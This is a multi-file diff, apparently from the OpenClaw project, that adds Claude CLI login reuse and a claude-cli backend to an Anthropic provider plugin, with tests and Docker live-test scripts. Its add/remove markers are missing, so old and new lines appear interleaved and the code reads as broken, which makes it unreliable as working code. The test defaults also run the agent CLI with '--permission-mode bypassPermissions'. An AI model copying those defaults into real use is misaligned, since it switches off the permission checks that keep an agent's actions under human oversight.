import { capturePluginRegistration } from "openclaw/plugin-sdk/testing";
import { describe, expect, it } from "vitest";
import { describe, expect, it, vi } from "vitest";
import { registerSingleProviderPlugin } from "../../test/helpers/plugins/plugin-registration.js";
const { readClaudeCliCredentialsForSetupMock, readClaudeCliCredentialsForRuntimeMock } = vi.hoisted(
() => ({
readClaudeCliCredentialsForSetupMock: vi.fn(),
readClaudeCliCredentialsForRuntimeMock: vi.fn(),
}),
);
vi.mock("./cli-auth-seam.js", () => {
return {
readClaudeCliCredentialsForSetup: readClaudeCliCredentialsForSetupMock,
readClaudeCliCredentialsForRuntime: readClaudeCliCredentialsForRuntimeMock,
};
});
import anthropicPlugin from "./index.js";
describe("anthropic provider replay hooks", () => {
it("registers no cli commands", async () => {
it("registers the claude-cli backend", async () => {
const captured = capturePluginRegistration({ register: anthropicPlugin.register });
expect(captured.cliRegistrars).toEqual([]);
expect(captured.cliBackends).toContainEqual(
expect.objectContaining({
id: "claude-cli",
bundleMcp: true,
config: expect.objectContaining({
command: "claude",
modelArg: "--model",
sessionArg: "--session-id",
}),
}),
);
});
it("owns native reasoning output mode for Claude transports", async () => {
@@ -91,9 +116,117 @@ describe("anthropic provider replay hooks", () => {
).toBe("short");
});
it("does not register a Claude CLI auth method", async () => {
it("backfills Claude CLI allowlist defaults through plugin hooks for older configs", async () => {
const provider = await registerSingleProviderPlugin(anthropicPlugin);
expect(provider.auth.map((entry) => entry.id)).not.toContain("cli");
const next = provider.applyConfigDefaults?.({
provider: "anthropic",
env: {},
config: {
auth: {
profiles: {
"anthropic:claude-cli": { provider: "claude-cli", mode: "oauth" },
},
},
agents: {
defaults: {
model: { primary: "claude-cli/claude-sonnet-4-6" },
models: {
"claude-cli/claude-sonnet-4-6": {},
},
},
},
},
} as never);
expect(next?.agents?.defaults?.heartbeat).toMatchObject({
every: "1h",
});
expect(next?.agents?.defaults?.models).toMatchObject({
"claude-cli/claude-sonnet-4-6": {},
"claude-cli/claude-opus-4-6": {},
"claude-cli/claude-opus-4-5": {},
"claude-cli/claude-sonnet-4-5": {},
"claude-cli/claude-haiku-4-5": {},
});
});
it("resolves claude-cli synthetic oauth auth", async () => {
readClaudeCliCredentialsForRuntimeMock.mockReset();
readClaudeCliCredentialsForRuntimeMock.mockReturnValue({
type: "oauth",
provider: "anthropic",
access: "access-token",
refresh: "refresh-token",
expires: 123,
});
const provider = await registerSingleProviderPlugin(anthropicPlugin);
expect(
provider.resolveSyntheticAuth?.({
provider: "claude-cli",
} as never),
).toEqual({
apiKey: "access-token",
source: "Claude CLI native auth",
mode: "oauth",
});
expect(readClaudeCliCredentialsForRuntimeMock).toHaveBeenCalledTimes(1);
});
it("resolves claude-cli synthetic token auth", async () => {
readClaudeCliCredentialsForRuntimeMock.mockReset();
readClaudeCliCredentialsForRuntimeMock.mockReturnValue({
type: "token",
provider: "anthropic",
token: "bearer-token",
expires: 123,
});
const provider = await registerSingleProviderPlugin(anthropicPlugin);
expect(
provider.resolveSyntheticAuth?.({
provider: "claude-cli",
} as never),
).toEqual({
apiKey: "bearer-token",
source: "Claude CLI native auth",
mode: "token",
});
});
it("stores a claude-cli auth profile during anthropic cli migration", async () => {
readClaudeCliCredentialsForSetupMock.mockReset();
readClaudeCliCredentialsForSetupMock.mockReturnValue({
type: "oauth",
provider: "anthropic",
access: "setup-access-token",
refresh: "refresh-token",
expires: 123,
});
const provider = await registerSingleProviderPlugin(anthropicPlugin);
const cliAuth = provider.auth.find((entry) => entry.id === "cli");
expect(cliAuth).toBeDefined();
const result = await cliAuth?.run({
config: {},
} as never);
expect(result?.profiles).toEqual([
{
profileId: "anthropic:claude-cli",
credential: {
type: "oauth",
provider: "claude-cli",
access: "setup-access-token",
refresh: "refresh-token",
expires: 123,
},
},
]);
});
});

View File

@@ -5,10 +5,23 @@
"modelSupport": {
"modelPrefixes": ["claude-"]
},
"cliBackends": ["claude-cli"],
"providerAuthEnvVars": {
"anthropic": ["ANTHROPIC_OAUTH_TOKEN", "ANTHROPIC_API_KEY"]
},
"providerAuthChoices": [
{
"provider": "anthropic",
"method": "cli",
"choiceId": "anthropic-cli",
"deprecatedChoiceIds": ["claude-cli"],
"choiceLabel": "Anthropic Claude CLI",
"choiceHint": "Reuse a local Claude CLI login on this host",
"assistantPriority": -20,
"groupId": "anthropic",
"groupLabel": "Anthropic",
"groupHint": "Claude CLI + API key"
},
{
"provider": "anthropic",
"method": "api-key",
@@ -16,7 +29,7 @@
"choiceLabel": "Anthropic API key",
"groupId": "anthropic",
"groupLabel": "Anthropic",
"groupHint": "API key + legacy token",
"groupHint": "Claude CLI + API key",
"optionKey": "anthropicApiKey",
"cliFlag": "--anthropic-api-key",
"cliOption": "--anthropic-api-key <key>",

View File

@@ -23,6 +23,14 @@ import {
} from "openclaw/plugin-sdk/provider-auth";
import { cloneFirstTemplateModel } from "openclaw/plugin-sdk/provider-model-shared";
import { fetchClaudeUsage } from "openclaw/plugin-sdk/provider-usage";
import * as claudeCliAuth from "./cli-auth-seam.js";
import { buildAnthropicCliBackend } from "./cli-backend.js";
import { buildAnthropicCliMigrationResult } from "./cli-migration.js";
import {
CLAUDE_CLI_BACKEND_ID,
CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS,
CLAUDE_CLI_DEFAULT_MODEL_REF,
} from "./cli-shared.js";
import {
applyAnthropicConfigDefaults,
normalizeAnthropicProviderConfig,
@@ -210,6 +218,10 @@ function resolveAnthropic46ForwardCompatModel(params: {
modelId: trimmedModelId,
templateIds,
ctx: params.ctx,
patch:
params.ctx.provider.trim().toLowerCase() === CLAUDE_CLI_BACKEND_ID
? { provider: CLAUDE_CLI_BACKEND_ID }
: undefined,
});
}
@@ -276,14 +288,105 @@ function buildAnthropicAuthDoctorHint(params: {
].join("\n");
}
function resolveClaudeCliSyntheticAuth() {
const credential = claudeCliAuth.readClaudeCliCredentialsForRuntime();
if (!credential) {
return undefined;
}
return credential.type === "oauth"
? {
apiKey: credential.access,
source: "Claude CLI native auth",
mode: "oauth" as const,
}
: {
apiKey: credential.token,
source: "Claude CLI native auth",
mode: "token" as const,
};
}
async function runAnthropicCliMigration(ctx: ProviderAuthContext): Promise<ProviderAuthResult> {
const credential = claudeCliAuth.readClaudeCliCredentialsForSetup();
if (!credential) {
throw new Error(
[
"Claude CLI is not authenticated on this host.",
`Run ${formatCliCommand("claude auth login")} first, then re-run this setup.`,
].join("\n"),
);
}
return buildAnthropicCliMigrationResult(ctx.config, credential);
}
async function runAnthropicCliMigrationNonInteractive(ctx: {
config: ProviderAuthContext["config"];
runtime: ProviderAuthContext["runtime"];
agentDir?: string;
}): Promise<ProviderAuthContext["config"] | null> {
const credential = claudeCliAuth.readClaudeCliCredentialsForSetupNonInteractive();
if (!credential) {
ctx.runtime.error(
[
'Auth choice "anthropic-cli" requires Claude CLI auth on this host.',
`Run ${formatCliCommand("claude auth login")} first.`,
].join("\n"),
);
ctx.runtime.exit(1);
return null;
}
const result = buildAnthropicCliMigrationResult(ctx.config, credential);
const currentDefaults = ctx.config.agents?.defaults;
const currentModel = currentDefaults?.model;
const currentFallbacks =
currentModel && typeof currentModel === "object" && "fallbacks" in currentModel
? currentModel.fallbacks
: undefined;
const migratedModel = result.configPatch?.agents?.defaults?.model;
const migratedFallbacks =
migratedModel && typeof migratedModel === "object" && "fallbacks" in migratedModel
? migratedModel.fallbacks
: undefined;
const nextFallbacks = Array.isArray(migratedFallbacks) ? migratedFallbacks : currentFallbacks;
return {
...ctx.config,
...result.configPatch,
agents: {
...ctx.config.agents,
...result.configPatch?.agents,
defaults: {
...currentDefaults,
...result.configPatch?.agents?.defaults,
model: {
...(Array.isArray(nextFallbacks) ? { fallbacks: nextFallbacks } : {}),
primary: result.defaultModel,
},
},
},
};
}
export function registerAnthropicPlugin(api: OpenClawPluginApi): void {
const claudeCliProfileId = "anthropic:claude-cli";
const providerId = "anthropic";
const defaultAnthropicModel = "anthropic/claude-sonnet-4-6";
const anthropicOauthAllowlist = [
"anthropic/claude-sonnet-4-6",
"anthropic/claude-opus-4-6",
"anthropic/claude-opus-4-5",
"anthropic/claude-sonnet-4-5",
"anthropic/claude-haiku-4-5",
] as const;
api.registerCliBackend(buildAnthropicCliBackend());
api.registerProvider({
id: providerId,
label: "Anthropic",
docsPath: "/providers/models",
hookAliases: [CLAUDE_CLI_BACKEND_ID],
envVars: ["ANTHROPIC_OAUTH_TOKEN", "ANTHROPIC_API_KEY"],
deprecatedProfileIds: [claudeCliProfileId],
oauthProfileIdRepairs: [
{
legacyProfileId: "anthropic:default",
@@ -291,6 +394,33 @@ export function registerAnthropicPlugin(api: OpenClawPluginApi): void {
},
],
auth: [
{
id: "cli",
label: "Claude CLI",
hint: "Reuse a local Claude CLI login and switch model selection to claude-cli/*",
kind: "custom",
wizard: {
choiceId: "anthropic-cli",
choiceLabel: "Anthropic Claude CLI",
choiceHint: "Reuse a local Claude CLI login on this host",
assistantPriority: -20,
groupId: "anthropic",
groupLabel: "Anthropic",
groupHint: "Claude CLI + API key",
modelAllowlist: {
allowedKeys: [...CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS],
initialSelections: [CLAUDE_CLI_DEFAULT_MODEL_REF],
message: "Claude CLI models",
},
},
run: async (ctx: ProviderAuthContext) => await runAnthropicCliMigration(ctx),
runNonInteractive: async (ctx) =>
await runAnthropicCliMigrationNonInteractive({
config: ctx.config,
runtime: ctx.runtime,
agentDir: ctx.agentDir,
}),
},
{
id: "setup-token",
label: "Anthropic setup-token",
@@ -303,7 +433,7 @@ export function registerAnthropicPlugin(api: OpenClawPluginApi): void {
assistantPriority: 40,
groupId: "anthropic",
groupLabel: "Anthropic",
groupHint: "API key + legacy token",
groupHint: "Claude CLI + API key + legacy token",
},
run: async (ctx: ProviderAuthContext) => await runAnthropicSetupTokenAuth(ctx),
runNonInteractive: async (ctx: ProviderAuthMethodNonInteractiveContext) =>
@@ -325,13 +455,17 @@ export function registerAnthropicPlugin(api: OpenClawPluginApi): void {
choiceLabel: "Anthropic API key",
groupId: "anthropic",
groupLabel: "Anthropic",
groupHint: "API key + legacy token",
groupHint: "Claude CLI + API key",
},
}),
],
normalizeConfig: ({ providerConfig }) => normalizeAnthropicProviderConfig(providerConfig),
applyConfigDefaults: ({ config, env }) => applyAnthropicConfigDefaults({ config, env }),
resolveDynamicModel: (ctx) => resolveAnthropicForwardCompatModel(ctx),
resolveSyntheticAuth: ({ provider }) =>
provider.trim().toLowerCase() === CLAUDE_CLI_BACKEND_ID
? resolveClaudeCliSyntheticAuth()
: undefined,
buildReplayPolicy: buildAnthropicReplayPolicy,
isModernModelRef: ({ modelId }) => matchesAnthropicModernModel(modelId),
resolveReasoningOutputMode: () => "native",

View File

@@ -1,8 +1,11 @@
import { definePluginEntry } from "openclaw/plugin-sdk/plugin-entry";
import { buildAnthropicCliBackend } from "./cli-backend.js";
export default definePluginEntry({
id: "anthropic",
name: "Anthropic Setup",
description: "Lightweight Anthropic setup hooks",
register() {},
register(api) {
api.registerCliBackend(buildAnthropicCliBackend());
},
});

View File

@@ -0,0 +1,3 @@
export { buildAnthropicCliBackend } from "./cli-backend.js";
export { normalizeClaudeBackendConfig } from "./cli-shared.js";
export { anthropicMediaUnderstandingProvider } from "./media-understanding-provider.js";

View File

@@ -9,15 +9,27 @@ import { extractPayloadText } from "../src/gateway/test-helpers.agent-results.js
import { getFreePortBlockWithPermissionFallback } from "../src/test-utils/ports.js";
import { GATEWAY_CLIENT_NAMES } from "../src/utils/message-channel.js";
const DEFAULT_CODEX_ARGS = [
"exec",
"--json",
"--color",
"never",
"--sandbox",
"read-only",
"--skip-git-repo-check",
const DEFAULT_CLAUDE_ARGS = [
"-p",
"--output-format",
"stream-json",
"--include-partial-messages",
"--verbose",
"--permission-mode",
"bypassPermissions",
];
const DEFAULT_CLEAR_ENV = ["ANTHROPIC_API_KEY", "ANTHROPIC_API_KEY_OLD"];
function withMcpConfigOverrides(args: string[], mcpConfigPath: string): string[] {
const next = [...args];
if (!next.includes("--strict-mcp-config")) {
next.push("--strict-mcp-config");
}
if (!next.includes("--mcp-config")) {
next.push("--mcp-config", mcpConfigPath);
}
return next;
}
async function connectClient(params: { url: string; token: string }) {
return await new Promise<GatewayClient>((resolve, reject) => {
@@ -88,11 +100,16 @@ async function main() {
const cfg = loadConfig();
const existingBackends = cfg.agents?.defaults?.cliBackends ?? {};
const codexBackend = existingBackends["codex-cli"] ?? {};
const claudeBackend = existingBackends["claude-cli"] ?? {};
const cliCommand =
process.env.OPENCLAW_LIVE_CLI_BACKEND_COMMAND ?? codexBackend.command ?? "codex";
const cliArgs = codexBackend.args ?? DEFAULT_CODEX_ARGS;
const cliClearEnv = (codexBackend.clearEnv ?? []).filter((name) => !preservedEnv.has(name));
process.env.OPENCLAW_LIVE_CLI_BACKEND_COMMAND ?? claudeBackend.command ?? "claude";
let cliArgs = claudeBackend.args ?? DEFAULT_CLAUDE_ARGS;
const mcpConfigPath = path.join(tempDir, "claude-mcp.json");
await fs.writeFile(mcpConfigPath, `${JSON.stringify({ mcpServers: {} }, null, 2)}\n`);
cliArgs = withMcpConfigOverrides(cliArgs, mcpConfigPath);
const cliClearEnv = (claudeBackend.clearEnv ?? DEFAULT_CLEAR_ENV).filter(
(name) => !preservedEnv.has(name),
);
const preservedCliEnv = Object.fromEntries(
[...preservedEnv]
.map((name) => [name, process.env[name]])
@@ -105,12 +122,12 @@ async function main() {
defaults: {
...cfg.agents?.defaults,
workspace: workspaceRootDir,
model: { primary: "codex-cli/gpt-5.4" },
models: { "codex-cli/gpt-5.4": {} },
model: { primary: "claude-cli/claude-sonnet-4-6" },
models: { "claude-cli/claude-sonnet-4-6": {} },
cliBackends: {
...existingBackends,
"codex-cli": {
...codexBackend,
"claude-cli": {
...claudeBackend,
command: cliCommand,
args: cliArgs,
clearEnv: cliClearEnv.length > 0 ? cliClearEnv : undefined,

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env bash
OPENCLAW_DOCKER_LIVE_AUTH_ALL=(.minimax)
OPENCLAW_DOCKER_LIVE_AUTH_ALL=(.claude .codex .minimax)
OPENCLAW_DOCKER_LIVE_AUTH_FILES_ALL=(
.codex/auth.json
.codex/config.toml

View File

@@ -13,7 +13,7 @@ ACP_AGENT="${OPENCLAW_LIVE_ACP_BIND_AGENT:-claude}"
case "$ACP_AGENT" in
claude)
AUTH_PROVIDER="anthropic"
AUTH_PROVIDER="claude-cli"
CLI_PACKAGE="@anthropic-ai/claude-code"
CLI_BIN="claude"
;;
@@ -103,7 +103,6 @@ if ((${#auth_files[@]} > 0)); then
for auth_file in "${auth_files[@]}"; do
[ -n "$auth_file" ] || continue
if [ -f "/host-auth-files/$auth_file" ]; then
mkdir -p "$(dirname "$HOME/$auth_file")"
cp "/host-auth-files/$auth_file" "$HOME/$auth_file"
chmod u+rw "$HOME/$auth_file" || true
fi

View File

@@ -9,12 +9,16 @@ CONFIG_DIR="${OPENCLAW_CONFIG_DIR:-$HOME/.openclaw}"
WORKSPACE_DIR="${OPENCLAW_WORKSPACE_DIR:-$HOME/.openclaw/workspace}"
PROFILE_FILE="${OPENCLAW_PROFILE_FILE:-$HOME/.profile}"
CLI_TOOLS_DIR="${OPENCLAW_DOCKER_CLI_TOOLS_DIR:-$HOME/.cache/openclaw/docker-cli-tools}"
DEFAULT_MODEL="codex-cli/gpt-5.4"
DEFAULT_MODEL="claude-cli/claude-sonnet-4-6"
CLI_MODEL="${OPENCLAW_LIVE_CLI_BACKEND_MODEL:-$DEFAULT_MODEL}"
CLI_PROVIDER="${CLI_MODEL%%/*}"
CLI_DISABLE_MCP_CONFIG="${OPENCLAW_LIVE_CLI_BACKEND_DISABLE_MCP_CONFIG:-}"
if [[ -z "$CLI_PROVIDER" || "$CLI_PROVIDER" == "$CLI_MODEL" ]]; then
CLI_PROVIDER="codex-cli"
CLI_PROVIDER="claude-cli"
fi
if [[ "$CLI_PROVIDER" == "claude-cli" && -z "$CLI_DISABLE_MCP_CONFIG" ]]; then
CLI_DISABLE_MCP_CONFIG="0"
fi
mkdir -p "$CLI_TOOLS_DIR"
@@ -92,20 +96,41 @@ if ((${#auth_files[@]} > 0)); then
for auth_file in "${auth_files[@]}"; do
[ -n "$auth_file" ] || continue
if [ -f "/host-auth-files/$auth_file" ]; then
mkdir -p "$(dirname "$HOME/$auth_file")"
cp "/host-auth-files/$auth_file" "$HOME/$auth_file"
chmod u+rw "$HOME/$auth_file" || true
fi
done
fi
provider="${OPENCLAW_DOCKER_CLI_BACKEND_PROVIDER:-codex-cli}"
if [ "$provider" = "codex-cli" ]; then
provider="${OPENCLAW_DOCKER_CLI_BACKEND_PROVIDER:-claude-cli}"
if [ "$provider" = "claude-cli" ]; then
if [ -z "${OPENCLAW_LIVE_CLI_BACKEND_COMMAND:-}" ]; then
export OPENCLAW_LIVE_CLI_BACKEND_COMMAND="$HOME/.npm-global/bin/codex"
export OPENCLAW_LIVE_CLI_BACKEND_COMMAND="$HOME/.npm-global/bin/claude"
fi
if [ ! -x "${OPENCLAW_LIVE_CLI_BACKEND_COMMAND}" ]; then
npm_config_prefix="$HOME/.npm-global" npm install -g @openai/codex
npm_config_prefix="$HOME/.npm-global" npm install -g @anthropic-ai/claude-code
fi
real_claude="$HOME/.npm-global/bin/claude-real"
if [ ! -x "$real_claude" ] && [ -x "$HOME/.npm-global/bin/claude" ]; then
mv "$HOME/.npm-global/bin/claude" "$real_claude"
fi
if [ -x "$real_claude" ]; then
cat > "$HOME/.npm-global/bin/claude" <<WRAP
#!/usr/bin/env bash
script_dir="\$(CDPATH= cd -- "\$(dirname -- "\$0")" && pwd)"
if [ -n "\${OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY:-}" ]; then
export ANTHROPIC_API_KEY="\${OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY}"
fi
if [ -n "\${OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY_OLD:-}" ]; then
export ANTHROPIC_API_KEY_OLD="\${OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY_OLD}"
fi
exec "\$script_dir/claude-real" "\$@"
WRAP
chmod +x "$HOME/.npm-global/bin/claude"
fi
if [ -z "${OPENCLAW_LIVE_CLI_BACKEND_PRESERVE_ENV:-}" ]; then
export OPENCLAW_LIVE_CLI_BACKEND_PRESERVE_ENV='["ANTHROPIC_API_KEY","ANTHROPIC_API_KEY_OLD"]'
fi
claude auth status || true
fi
tmp_dir="$(mktemp -d)"
cleanup() {
@@ -141,7 +166,10 @@ echo "==> External auth files: ${AUTH_FILES_CSV:-none}"
docker run --rm -t \
-u node \
--entrypoint bash \
-e OPENAI_API_KEY \
-e ANTHROPIC_API_KEY \
-e ANTHROPIC_API_KEY_OLD \
-e OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY="${ANTHROPIC_API_KEY:-}" \
-e OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY_OLD="${ANTHROPIC_API_KEY_OLD:-}" \
-e COREPACK_ENABLE_DOWNLOAD_PROMPT=0 \
-e HOME=/home/node \
-e NODE_OPTIONS=--disable-warning=ExperimentalWarning \
@@ -157,6 +185,7 @@ docker run --rm -t \
-e OPENCLAW_LIVE_CLI_BACKEND_ARGS="${OPENCLAW_LIVE_CLI_BACKEND_ARGS:-}" \
-e OPENCLAW_LIVE_CLI_BACKEND_CLEAR_ENV="${OPENCLAW_LIVE_CLI_BACKEND_CLEAR_ENV:-}" \
-e OPENCLAW_LIVE_CLI_BACKEND_PRESERVE_ENV="${OPENCLAW_LIVE_CLI_BACKEND_PRESERVE_ENV:-}" \
-e OPENCLAW_LIVE_CLI_BACKEND_DISABLE_MCP_CONFIG="$CLI_DISABLE_MCP_CONFIG" \
-e OPENCLAW_LIVE_CLI_BACKEND_RESUME_PROBE="${OPENCLAW_LIVE_CLI_BACKEND_RESUME_PROBE:-}" \
-e OPENCLAW_LIVE_CLI_BACKEND_IMAGE_PROBE="${OPENCLAW_LIVE_CLI_BACKEND_IMAGE_PROBE:-}" \
-e OPENCLAW_LIVE_CLI_BACKEND_IMAGE_ARG="${OPENCLAW_LIVE_CLI_BACKEND_IMAGE_ARG:-}" \

View File

@@ -90,7 +90,6 @@ if ((${#auth_files[@]} > 0)); then
for auth_file in "${auth_files[@]}"; do
[ -n "$auth_file" ] || continue
if [ -f "/host-auth-files/$auth_file" ]; then
mkdir -p "$(dirname "$HOME/$auth_file")"
cp "/host-auth-files/$auth_file" "$HOME/$auth_file"
chmod u+rw "$HOME/$auth_file" || true
fi

View File

@@ -100,7 +100,6 @@ if ((${#auth_files[@]} > 0)); then
for auth_file in "${auth_files[@]}"; do
[ -n "$auth_file" ] || continue
if [ -f "/host-auth-files/$auth_file" ]; then
mkdir -p "$(dirname "$HOME/$auth_file")"
cp "/host-auth-files/$auth_file" "$HOME/$auth_file"
chmod u+rw "$HOME/$auth_file" || true
fi

View File

@@ -1,4 +1,4 @@
export { CODEX_CLI_PROFILE_ID } from "./auth-profiles/constants.js";
export { CLAUDE_CLI_PROFILE_ID, CODEX_CLI_PROFILE_ID } from "./auth-profiles/constants.js";
export type {
AuthCredentialReasonCode,
TokenExpiryState,

View File

@@ -4,6 +4,7 @@ export const AUTH_STORE_VERSION = 1;
export const AUTH_PROFILE_FILENAME = "auth-profiles.json";
export const LEGACY_AUTH_FILENAME = "auth.json";
export const CLAUDE_CLI_PROFILE_ID = "anthropic:claude-cli";
export const CODEX_CLI_PROFILE_ID = "openai-codex:codex-cli";
export const OPENAI_CODEX_DEFAULT_PROFILE_ID = "openai-codex:default";
export const MINIMAX_CLI_PROFILE_ID = "minimax-portal:minimax-cli";

View File

@@ -152,7 +152,7 @@ describe("resolveApiKeyForProfile fallback to main agent", () => {
}
it("falls back to main agent credentials when secondary agent token is expired and refresh fails", async () => {
const profileId = "anthropic:default";
const profileId = "anthropic:claude-cli";
const now = Date.now();
const expiredTime = now - 60 * 60 * 1000; // 1 hour ago
const freshTime = now + 60 * 60 * 1000; // 1 hour from now
@@ -199,7 +199,7 @@ describe("resolveApiKeyForProfile fallback to main agent", () => {
});
it("adopts newer OAuth token from main agent even when secondary token is still valid", async () => {
const profileId = "anthropic:default";
const profileId = "anthropic:claude-cli";
const now = Date.now();
const secondaryExpiry = now + 30 * 60 * 1000;
const mainExpiry = now + 2 * 60 * 60 * 1000;
@@ -238,7 +238,7 @@ describe("resolveApiKeyForProfile fallback to main agent", () => {
});
it("adopts main token when secondary expires is NaN/malformed", async () => {
const profileId = "anthropic:default";
const profileId = "anthropic:claude-cli";
const now = Date.now();
const mainExpiry = now + 2 * 60 * 60 * 1000;
@@ -312,7 +312,7 @@ describe("resolveApiKeyForProfile fallback to main agent", () => {
});
it("throws error when both secondary and main agent credentials are expired", async () => {
const profileId = "anthropic:default";
const profileId = "anthropic:claude-cli";
const now = Date.now();
const expiredTime = now - 60 * 60 * 1000; // 1 hour ago

View File

@@ -0,0 +1,201 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import { setupClaudeCliRunnerTestModule, supervisorSpawnMock } from "./cli-runner.test-support.js";
function createDeferred<T>() {
let resolve: (value: T) => void = () => {};
let reject: (error: unknown) => void = () => {};
const promise = new Promise<T>((res, rej) => {
resolve = res;
reject = rej;
});
return {
promise,
resolve: resolve as (value: T) => void,
reject: reject as (error: unknown) => void,
};
}
function createManagedRun(
exit: Promise<{
reason: "exit" | "overall-timeout" | "no-output-timeout" | "signal" | "manual-cancel";
exitCode: number | null;
exitSignal: NodeJS.Signals | null;
durationMs: number;
stdout: string;
stderr: string;
timedOut: boolean;
noOutputTimedOut: boolean;
}>,
) {
return {
runId: "run-test",
pid: 12345,
startedAtMs: Date.now(),
wait: async () => await exit,
cancel: vi.fn(),
};
}
let runClaudeCliAgent: typeof import("./claude-cli-runner.js").runClaudeCliAgent;
async function loadFreshClaudeCliRunnerModuleForTest() {
runClaudeCliAgent = await setupClaudeCliRunnerTestModule();
}
function successExit(payload: { message: string; session_id: string }) {
return {
reason: "exit" as const,
exitCode: 0,
exitSignal: null,
durationMs: 1,
stdout: JSON.stringify(payload),
stderr: "",
timedOut: false,
noOutputTimedOut: false,
};
}
async function waitForCalls(mockFn: { mock: { calls: unknown[][] } }, count: number) {
await vi.waitFor(
() => {
expect(mockFn.mock.calls.length).toBeGreaterThanOrEqual(count);
},
{ timeout: 2_000, interval: 5 },
);
}
describe("runClaudeCliAgent", () => {
beforeEach(async () => {
await loadFreshClaudeCliRunnerModuleForTest();
supervisorSpawnMock.mockClear();
});
it("starts a new session with --session-id when none is provided", async () => {
supervisorSpawnMock.mockResolvedValueOnce(
createManagedRun(Promise.resolve(successExit({ message: "ok", session_id: "sid-1" }))),
);
await runClaudeCliAgent({
sessionId: "openclaw-session",
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
prompt: "hi",
model: "opus",
timeoutMs: 1_000,
runId: "run-1",
});
expect(supervisorSpawnMock).toHaveBeenCalledTimes(1);
const spawnInput = supervisorSpawnMock.mock.calls[0]?.[0] as {
argv: string[];
input?: string;
mode: string;
};
expect(spawnInput.mode).toBe("child");
expect(spawnInput.argv).toContain("claude");
expect(spawnInput.argv).toContain("--session-id");
expect(spawnInput.input).toBe("hi");
});
it("starts fresh when only a legacy claude session id is provided", async () => {
supervisorSpawnMock.mockResolvedValueOnce(
createManagedRun(Promise.resolve(successExit({ message: "ok", session_id: "sid-2" }))),
);
await runClaudeCliAgent({
sessionId: "openclaw-session",
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
prompt: "hi",
model: "opus",
timeoutMs: 1_000,
runId: "run-2",
claudeSessionId: "c9d7b831-1c31-4d22-80b9-1e50ca207d4b",
});
expect(supervisorSpawnMock).toHaveBeenCalledTimes(1);
const spawnInput = supervisorSpawnMock.mock.calls[0]?.[0] as {
argv: string[];
input?: string;
};
expect(spawnInput.argv).not.toContain("--resume");
expect(spawnInput.argv).not.toContain("c9d7b831-1c31-4d22-80b9-1e50ca207d4b");
expect(spawnInput.argv).toContain("--session-id");
expect(spawnInput.input).toBe("hi");
});
it("serializes concurrent claude-cli runs in the same workspace", async () => {
const firstDeferred = createDeferred<ReturnType<typeof successExit>>();
const secondDeferred = createDeferred<ReturnType<typeof successExit>>();
supervisorSpawnMock
.mockResolvedValueOnce(createManagedRun(firstDeferred.promise))
.mockResolvedValueOnce(createManagedRun(secondDeferred.promise));
const firstRun = runClaudeCliAgent({
sessionId: "s1",
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
prompt: "first",
model: "opus",
timeoutMs: 1_000,
runId: "run-1",
});
const secondRun = runClaudeCliAgent({
sessionId: "s2",
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
prompt: "second",
model: "opus",
timeoutMs: 1_000,
runId: "run-2",
});
await waitForCalls(supervisorSpawnMock, 1);
firstDeferred.resolve(successExit({ message: "ok", session_id: "sid-1" }));
await waitForCalls(supervisorSpawnMock, 2);
secondDeferred.resolve(successExit({ message: "ok", session_id: "sid-2" }));
await Promise.all([firstRun, secondRun]);
});
it("allows concurrent claude-cli runs across different workspaces", async () => {
const firstDeferred = createDeferred<ReturnType<typeof successExit>>();
const secondDeferred = createDeferred<ReturnType<typeof successExit>>();
supervisorSpawnMock
.mockResolvedValueOnce(createManagedRun(firstDeferred.promise))
.mockResolvedValueOnce(createManagedRun(secondDeferred.promise));
const firstRun = runClaudeCliAgent({
sessionId: "s1",
sessionFile: "/tmp/session-1.jsonl",
workspaceDir: "/tmp/project-a",
prompt: "first",
model: "opus",
timeoutMs: 1_000,
runId: "run-a",
});
const secondRun = runClaudeCliAgent({
sessionId: "s2",
sessionFile: "/tmp/session-2.jsonl",
workspaceDir: "/tmp/project-b",
prompt: "second",
model: "opus",
timeoutMs: 1_000,
runId: "run-b",
});
await waitForCalls(supervisorSpawnMock, 2);
firstDeferred.resolve(successExit({ message: "ok", session_id: "sid-a" }));
secondDeferred.resolve(successExit({ message: "ok", session_id: "sid-b" }));
await Promise.all([firstRun, secondRun]);
});
});

View File

@@ -0,0 +1,3 @@
// Backwards-compatible entry point.
// Implementation lives in `src/agents/cli-runner.ts` (so we can reuse the same runner for other CLIs).
export { runClaudeCliAgent, runCliAgent } from "./cli-runner.js";

View File

@@ -13,6 +13,7 @@ describe("resolveCliAuthEpoch", () => {
it("returns undefined when no local or auth-profile credentials exist", async () => {
setCliAuthEpochTestDeps({
readClaudeCliCredentialsCached: () => null,
readCodexCliCredentialsCached: () => null,
loadAuthProfileStoreForRuntime: () => ({
version: 1,
@@ -20,7 +21,7 @@ describe("resolveCliAuthEpoch", () => {
}),
});
await expect(resolveCliAuthEpoch({ provider: "codex-cli" })).resolves.toBeUndefined();
await expect(resolveCliAuthEpoch({ provider: "claude-cli" })).resolves.toBeUndefined();
await expect(
resolveCliAuthEpoch({
provider: "google-gemini-cli",
@@ -29,22 +30,21 @@ describe("resolveCliAuthEpoch", () => {
).resolves.toBeUndefined();
});
it("changes when codex cli credentials change", async () => {
it("changes when claude cli credentials change", async () => {
let access = "access-a";
setCliAuthEpochTestDeps({
readCodexCliCredentialsCached: () => ({
readClaudeCliCredentialsCached: () => ({
type: "oauth",
provider: "openai-codex",
provider: "anthropic",
access,
refresh: "refresh",
expires: 1,
accountId: "acct-1",
}),
});
const first = await resolveCliAuthEpoch({ provider: "codex-cli" });
const first = await resolveCliAuthEpoch({ provider: "claude-cli" });
access = "access-b";
const second = await resolveCliAuthEpoch({ provider: "codex-cli" });
const second = await resolveCliAuthEpoch({ provider: "claude-cli" });
expect(first).toBeDefined();
expect(second).toBeDefined();

View File

@@ -1,14 +1,21 @@
